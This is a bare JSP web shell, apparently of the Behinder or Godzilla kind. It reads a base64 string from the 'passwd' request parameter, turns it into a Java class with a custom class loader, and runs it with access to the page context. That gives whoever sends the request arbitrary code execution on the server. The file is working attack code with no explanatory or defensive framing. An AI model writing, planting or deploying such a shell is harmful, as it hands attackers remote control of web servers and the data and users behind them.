jsp

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
    try {
        Class clazz = Class.forName("sun.misc.BASE64Decoder");
        return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    } catch (Exception e) {
        Class clazz = Class.forName("java.util.Base64");
        Object decoder = clazz.getMethod("getDecoder").invoke(null);
        return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
    }
}

%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>